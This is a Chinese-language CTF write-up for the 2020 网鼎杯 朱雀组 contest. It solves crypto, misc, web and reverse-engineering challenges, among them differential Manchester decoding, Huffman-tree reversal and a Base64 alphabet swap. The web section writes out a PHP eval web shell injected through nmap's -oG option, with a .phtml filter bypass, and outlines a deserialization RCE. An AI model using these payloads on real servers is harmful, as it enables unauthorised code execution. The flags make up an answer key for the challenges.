2020 网鼎杯-朱雀组 WriteUp
🏛️ 组织架构
支持单位:国家网络与信息安全信息通报中心、深圳市人民政府、广东省公安厅
联合主办:深信服科技股份有限公司、北京永信至诚科技股份有限公司
联合协办:阿里巴巴、百度、腾讯、奇安信、清华大学网络科学与网络空间研究院、中国科学院信息工程研究所等
Crypto
simple(仿射加密)

仿射加密原题,直接找在线网站解就行了
1 | flag{c8d8ec65-db9f-44f5-8361-ab225c76bbaa} |
rua(低指数广播攻击)

1 | from math import gcd |
Misc
九宫格(Rabbit 加密)

打开压缩包拿到了好多的二维码,批量扫描得到
1 | 010101010011001001000110011100110110010001000111010101100110101101011000001100010011100101101010010101000110100001111000010101110111000101001011011011010101100101010100010110100101000000110001010110000011010001000001011001100111010101000110010010100010111100110111010001100110110001110001010010010100011000110001010010110100100001010001010101000101001000110101010100110011011000110011011110100100111101101011011110010110111101011000001100110011011001101110010110100110110001100001010011110111000100110100010110000011010001101011011011000111011101010010011101110111000101100001 |
转为 ASCII 码得到
1 | U2FsdGVkX19jThxWqKmYTZP1X4AfuFJ/7FlqIF1KHQTR5S63zOkyoX36nZlaOq4X4klwRwqa |
两条对角线(852456)从小到大排序

解密拿到 flag

key(ZIP 爆破 + PNG 宽高篡改 + 文件附加隐写 + 差分曼彻斯特编码)

下载附件是一个加密压缩包,直接爆破得到密码是 123
解压缩后有两张图片

锁.png 则是附加了一个 ZIP 压缩包,该压缩包是加密的

匙.png 表面是 PNG,但解析 PNG chunk 后发现 IHDR 的 CRC 不匹配,说明图片宽高被篡改过
010 修改高度为 1499 即可看到一串十六进制,这个高度可以通过写脚本跑出来,也可以自己随便输入

提取出来
1 | 295965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656 |
这里考察的是差分曼彻斯特编码,差分曼彻斯特编码的规则可总结为 “中间必跳变,边界看反相”
位中间(强制同步):每个比特位的中间时刻必定发生电平跳变(高→低或低→高),用于提取时钟信号
位边界(编码数据):电平在比特起始边界处是否跳变决定了数据值(以常用 IEEE 802.5 标准为例):
边界有跳变 → 代表逻辑 0
边界无跳变 → 代表逻辑 1
编码时需要一个前一比特的结束电平作为参考。我们假设虚拟的 “前一结束电平”为高电平(H)
例如:ASCII 码 'a' = 0x61 = 01100001
| 数据位 | 边界规则 | 起始电平(与上一结束比较) | 中间跳变后 | 本比特结束电平 | 半位序列(H/L) |
|---|---|---|---|---|---|
| 0(第1位) | 有跳变 | 必须与 H 不同 → L | 跳变至 H | H | L H |
| 1(第2位) | 无跳变 | 必须与 H 相同 → H | 跳变至 L | L | H L |
| 1(第3位) | 无跳变 | 必须与 L 相同 → L | 跳变至 H | H | L H |
| 0(第4位) | 有跳变 | 必须与 H 不同 → L | 跳变至 H | H | L H |
| 0(第5位) | 有跳变 | 必须与 H 不同 → L | 跳变至 H | H | L H |
| 0(第6位) | 有跳变 | 必须与 H 不同 → L | 跳变至 H | H | L H |
| 0(第7位) | 有跳变 | 必须与 H 不同 → L | 跳变至 H | H | L H |
| 1(第8位) | 无跳变 | 必须与 H 相同 → H | 跳变至 L | L | H L |
将上表的半位序列按顺序拼接:
1 | L H H L L H L H L H L H L H H L |
按差分曼彻斯特解码规则:比较当前比特的 “起始电平” 与上一比特的 “结束电平”
相同 → 边界无跳变 → 解码为 1
不同 → 边界有跳变 → 解码为 0
以上述序列 L H H L L H L H L H L H L H H L 为例(每两个半位一组):
| 比特位(组) | 起始电平 | 上一结束电平 | 是否相同 | 解码结果 |
|---|---|---|---|---|
| 第1组 L H | L | 虚拟起始 H | 不同 | 0 |
| 第2组 H L | H | 第1组结束 H | 相同 | 1 |
| 第3组 L H | L | 第2组结束 L | 相同 | 1 |
| 第4组 L H | L | 第3组结束 H | 不同 | 0 |
| 第5组 L H | L | 第4组结束 H | 不同 | 0 |
| 第6组 L H | L | 第5组结束 H | 不同 | 0 |
| 第7组 L H | L | 第6组结束 H | 不同 | 0 |
| 第8组 H L | H | 第7组结束 H | 相同 | 1 |
1 | hex_key = "295965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656" |
最后得到 11 b'Sakura_Love_Strawberry',解开压缩包拿到 flag: flag{061056cc-980c-4214-b163-230e5cd5c78e}
Web
nmap(.phtml 绕过 + 短标签绕过)

后端执行的 nmap 扫描,要我们输入执行的参数

利用参数 -oG 将扫描结果输出到一个文本文件中,我们可以写入一句话木马
同时题目对文件内容以及后缀名都有过滤掉 php,绕过即可
1 | 127.0.0.1 | '<?= @eval($_POST["hack"]);?> -oG hack.phtml' |
连接成功

phpweb(RCE + 反序列化)

访问首页发现一直在发送一个 POST 包

放到重放模块中观察有点像执行了 date() 函数

使用 file_get_contents 成功读取到了首页的源码
1 |
|

如果我们传入 func=unserialize,unserialize 不在黑名单中,检查通过,于是执行:
1 | gettime('unserialize', $p); // 相当于 call_user_func('unserialize', $p) |
由此我们可以构造一个对象,脚本运行结束,对象被销毁,__destruct() 自动触发
1 | class Test { |

Reverse
tree(二叉树)

反编译定位 main 函数,将我们输入的值 v4 传入了 chkflag() 中

进入函数,分析核心逻辑

函数开头固定了 flag 格式
1 | strcpy(Str, "flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}"); |
每个 x 位置要求输入一个十六进制字符
1 | if ( Str[i] == 120 ) // 120 = x |
每读到一个 x 位置,程序会把该字符转成 4 位二进制字符
1 | case 'a': |
完整映射如下
1 | 0 -> 0000 |
所以 chkflag() 的本质是把 flag 中的 32 个十六进制字符展开成 128 位二进制串
继续往后分析 parse() 函数

明显是二叉树,循环 128 次(v5 <= 127):
按位移动:
如果当前位是
'0'(ASCII 48):v3 = *(v3 + 12),即移动到左子节点如果当前位是
'1'(ASCII 49):v3 = *(v3 + 16),即移动到右子节点
检查当前节点(
*v3):读取节点首字节判断是否为小写字母(
> 96且<= 122):如果是:将
*v3这个字符存入Str2,索引v4加一。最关键的一步:将当前节点v3重置回根节点a1(表示一个字符合成完毕,准备解码下一个字符)如果不是:不输出字符,
v3保持当前节点,继续用下一个 bit 深入遍历
使用 strncmp 比较 Str2 和硬编码字符串 "zvzjyvosgnzkbjjjypjbjdvmsjjyvsjx"
parse(a1) 的参数 a1 是树根节点,所以这棵树一定在前面被构造,下一步就是分析 init() 函数

接下来是算法逻辑拆解,第一步:初始化 26 个叶子节点
代码首先从 &unk_404040 拷贝了 26 个 int 数值到局部数组 v1。这 26 个数就是 26 个小写字母 a~z 的权重
第二步:霍夫曼树构建循环
这是一个经典的 “寻找两个最小权重节点,合并为新节点” 的过程:
寻找最小两个:循环遍历当前所有节点(
v7表示当前节点总数),找出两个未被合并(标志位为 0)且权重最小的节点:v5指向最小权重节点v4指向次小权重节点
终止条件:如果找不到第二个节点(v4 == -1),说明只剩下根节点了,跳出循环
合并节点:
创建一个新节点(索引为当前的
v7):左子节点设为最小节点
v5(存储在偏移 +12)右子节点设为次小节点
v4(存储在偏移 +16)新节点权重 = 两者权重之和
将
v5和v4的标志位设为 1(标记它们已合并)节点总数
v7加 1
第三步:返回根节点
循环结束后,v5 存储的就是最后一次未被合并的节点(即整棵树的根节点)。函数将其地址赋值给全局变量 root 并返回
查看权重
1 | a: 3 |
简单来说,init() 的任务就是
1 | 每次找两个最轻的东西,把它们绑在一起,变成一个新的更重的东西 |
最后这个整体就是一棵树,假设现在只有 4 个字母,不是 26 个,一开始它们是分开的:
1 | a(3) b(5) c(7) d(10) |
先找两个最轻的,把它们绑成一个新东西
1 | ab(8) c(7) d(10) |
树的样子是:
1 | ab(8) |
然后继续找两个最轻的,把它们绑起来
1 | ab(8) c(7) d(10) |
树变成:
1 | cab(15) |
然后继续
1 | d(10) cab(15) |
绑起来
1 | root(25) |
树变成
1 | root(25) |
规则是往左走 = 0,往右走 = 1
从 root 到每个字母的路,就是这个字母的编码
例如 a 就是 root -> 右 -> 右 -> 左,所以就是 110
编写脚本解出 Huffman 表
1 | weights = [ |
运行结果
1 | a -> 111010111 |
将 zvzjyvosgnzkbjjjypjbjdvmsjjyvsjx 转为二进制
1 | 10101111101001000001111111001000010101110100111100010010010010000001101010000100100111010111111101110001001000001111100010011100 |
然后每 4 位转为 Hex 最后得到 flag
1 | flag{afa41fc8-574f-1248-1a84-9d7f7120f89c} |
go(Go + Base64 换表)

Go 语言编写的程序,没有去符号,IDA 正常反编译

太难看了,我们取重点部分
1 | flag.str = "cbdb2c89f6800e6c93e1c1e541e1a89758f45fd988c6652fa955db2f00290da272454969d57b828ca80bd146ebe8c89d"; |
关键校验在这里
1 | *&typ[16] = main_encode(*typ); |
还原成 Go 代码就是
1 | // 对输入数据进行自定义编码,得到编码后的字符串 |
通过校验后,用输入当 AES key 解密
1 | memset(&coder, 0, sizeof(coder)); |
继续看 main.encode

很明显这里是 Base64 换表
1 | XYZFGHI2+/Jhi345jklmEnopuvwqrABCDKL6789abMNWcdefgstOPQRSTUVxyz01 |
编写脚本
1 | import base64 |
运行后得到
1 | b'V2hhdF9pc19nb19hX0FfSA==' |
接下来只需要继续分析 main.(*gogo).Decode,验证它如何用这个 key 解密

这里很明显可以看到使用的是 AES 加密

这里要求 IV 的长度必须是 16,而 What_is_go_a_A_H 刚好是 16

这里能看到使用的是 CBC 模式

成功拿到 flag
